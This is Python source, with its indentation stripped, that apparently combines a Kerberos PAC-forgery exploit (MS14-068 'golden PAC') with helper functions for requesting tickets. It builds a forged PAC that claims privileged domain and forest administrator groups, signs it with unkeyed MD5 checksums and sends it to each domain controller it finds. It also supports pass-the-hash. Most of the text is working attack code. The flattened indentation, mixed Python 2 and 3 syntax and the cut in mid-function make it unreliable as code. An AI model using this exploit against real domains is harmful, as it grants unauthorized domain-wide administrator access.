aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'),)
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print ('\n')
validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = str(pacClientInfo)
pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = '\x00'*16
serverChecksumBlob = str(serverChecksum)
serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = '\x00'*16
privSvrChecksumBlob = str(privSvrChecksum)
privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
pacClientInfo) + pacClientInfoAlignment
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = str(pacType)
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
#privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
# If you want to do MD4, ucomment this
#serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
#privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest()
# If you want to do MD5, ucomment this
serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest()
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = None
authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
authorizationData[0]['ad-data'] = str(pacType)
return encoder.encode(authorizationData)
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
# Get out Golden PAC
goldenPAC = self.getGoldenPAC(authTime)
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
# Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
ifRelevant = AD_IF_RELEVANT()
ifRelevant[0] = None
ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
ifRelevant[0]['ad-data'] = goldenPAC
encodedIfRelevant = encoder.encode(ifRelevant)
# Key Usage 4
# TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
# the TGS session key (Section 5.4.1)
encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)
tgsReq = TGS_REQ()
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.SystemRandom().getrandbits(31)
seq_set_iter(reqBody, 'etype', (cipher.enctype,))
reqBody['enc-authorization-data'] = None
reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = False
encodedPacRequest = encoder.encode(pacRequest)
tgsReq['padata'][1] = None
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
tgsReq['padata'][1]['padata-value'] = encodedPacRequest
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue']))
return r, cipher, sessionKey, newSessionKey
def getForestSid(self):
logging.debug('Calling NRPC DsrGetDcNameEx()')
stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_NRPC)
resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]
logging.debug('DNS Forest name is %s' % forestName)
dce.disconnect()
logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_LSAT)
resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
dce.disconnect()
forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
logging.info("Forest SID: %s"% forestSid)
return forestSid
def getDomainControllers(self):
logging.debug('Calling DRSDomainControllerInfo()')
stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(MSRPC_UUID_DRSUAPI)
request = DRSBind()
request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID
drs = DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = NULLGUID
drs['dwExtCaps'] = 127
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = dce.request(request)
dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1)
dce.disconnect()
domainControllers = list()
for dc in dcs['pmsgOut']['V1']['rItems']:
logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1])
domainControllers.append(dc['DnsHostName'][:-1])
return domainControllers
def getUserSID(self):
stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain)
domainId = resp['DomainId']
resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId)
domainHandle = resp['DomainHandle']
resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,))
# Let's pick the relative ID
rid = resp['RelativeIds']['Element'][0]['Data']
logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid))
return domainId, rid
def exploit(self):
if self.__kdcHost is None:
getDCs = True
self.__kdcHost = self.__domain
else:
getDCs = False
self.__domainSid, self.__rid = self.getUserSID()
try:
self.__forestSid = self.getForestSid()
except Exception, e:
# For some reason we couldn't get the forest data. No problem, we can still continue
# Only drawback is we won't get forest admin if successful
logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
self.__forestSid = None
if getDCs is False:
# User specified a DC already, no need to get the list
self.__domainControllers.append(self.__kdcHost)
else:
self.__domainControllers = self.getDomainControllers()
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
for dc in self.__domainControllers:
logging.info('Attacking domain controller %s' % dc)
self.__kdcHost = dc
exception = None
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
self.__lmhash, self.__nthash, None,
self.__kdcHost, requestPAC=False)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
exception = str(e)
break
else:
exception = str(e)
break
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
salt = str(etype2['salt'])
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype,self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal('krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
cipher, sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError, e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
exception = str(e)
break
else:
exception = str(e)
break
else:
# Everything went well, let's save the ticket if asked and leave
if self.__writeTGT is not None:
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.saveFile(self.__writeTGT)
break
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True):
asReq = AS_REQ()
domain = domain.upper()
serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
encodedPacRequest = encoder.encode(pacRequest)
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][0]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
if domain == '':
raise Exception('Empty Domain not allowed in Kerberos')
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = rand.getrandbits(31)
# Yes.. this shouldn't happen but it's inherited from the past
if aesKey is None:
aesKey = ''
if nthash == '':
# This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough,
# but I found some systems that accepts all ciphers, and trigger an error
# when requesting subsequent TGS :(. More research needed.
# So, in order to support more than one cypher, I'm setting aes first
# since most of the systems would accept it. If we're lucky and
# KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4.
if aesKey != '':
if len(aesKey) == 64:
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
else:
supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
else:
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
else:
# We have hashes to try, only way is to request RC4 only
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
try:
r = sendReceive(message, domain, kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey is '':
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, kdcHost)
else:
raise
else:
raise
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
preAuth = True
try:
asRep = decoder.decode(r, asn1Spec = KRB_ERROR())[0]
except:
# Most of the times we shouldn't be here, is this a TGT?
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
# Yes
preAuth = False
encryptionTypesData = dict()
salt = ''
if preAuth is False:
# In theory, we should have the right credentials for the etype specified before.
methods = asRep['padata']
encryptionTypesData[supportedCiphers[0]] = salt # handle RC4 fallback, we don't need any salt
tgt = r
else:
methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0]
for method in methods:
if method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etypes2 = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO2())[0]
for etype2 in etypes2:
try:
if etype2['salt'] is None or etype2['salt'].hasValue() is False:
salt = ''
else:
salt = etype2['salt'].prettyPrint()
except PyAsn1Error:
salt = ''
encryptionTypesData[etype2['etype']] = b(salt)
elif method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value:
etypes = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO())[0]
for etype in etypes:
try:
if etype['salt'] is None or etype['salt'].hasValue() is False:
salt = ''
else:
salt = etype['salt'].prettyPrint()
except PyAsn1Error:
salt = ''
encryptionTypesData[etype['etype']] = b(salt)
enctype = supportedCiphers[0]
cipher = _enctype_table[enctype]
# Pass the hash/aes key :P
if nthash != '' and (isinstance(nthash, bytes) and nthash != b''):
key = Key(cipher.enctype, nthash)
elif aesKey != '':
key = Key(cipher.enctype, unhexlify(aesKey))
else:
key = cipher.string_to_key(password, encryptionTypesData[enctype], None)
if preAuth is True:
if enctype in encryptionTypesData is False:
raise Exception('No Encryption Data Available!')
# Let's build the timestamp
timeStamp = PA_ENC_TS_ENC()
now = datetime.datetime.utcnow()
timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
timeStamp['pausec'] = now.microsecond
# Encrypt the shyte
encodedTimeStamp = encoder.encode(timeStamp)
# Key Usage 1
# AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
# client key (Section 5.2.7.2)
encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)
encryptedData = EncryptedData()
encryptedData['etype'] = cipher.enctype
encryptedData['cipher'] = encriptedTimeStamp
encodedEncryptedData = encoder.encode(encryptedData)
# Now prepare the new AS_REQ again with the PADATA
# ToDo: cannot we reuse the previous one?
asReq = AS_REQ()
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
asReq['padata'][0]['padata-value'] = encodedEncryptedData
asReq['padata'][1] = noValue
asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][1]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = rand.getrandbits(31)
seq_set_iter(reqBody, 'etype', ( (int(cipher.enctype),)))
try:
tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
except Exception as e:
if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0:
if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None):
from impacket.ntlm import compute_lmhash, compute_nthash
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC)
raise
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# So, we have the TGT, now extract the new session key and finish
cipherText = asRep['enc-part']['cipher']
if preAuth is False:
# Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'],clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:])) )
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
try:
plainText = cipher.decrypt(key, 3, cipherText)
except InvalidChecksum as e:
# probably bad password if preauth is disabled
if preAuth is False:
error_msg = "failed to decrypt session key: %s" % str(e)
raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)
raise
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
# Get the session key and the ticket
# We're assuming the cipher for this session key is the same
# as the one we used before.
# ToDo: change this
sessionKey = Key(cipher.enctype,encASRepPart['key']['keyvalue'].asOctets())
# ToDo: Check Nonces!
return tgt, cipher, key, sessionKey
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True):
if TGT is None and TGS is None:
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception:
# No cache present
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
LOG.debug('Domain retrieved from CCache: %s' % domain)
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'host/%s@%s' % (targetName.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
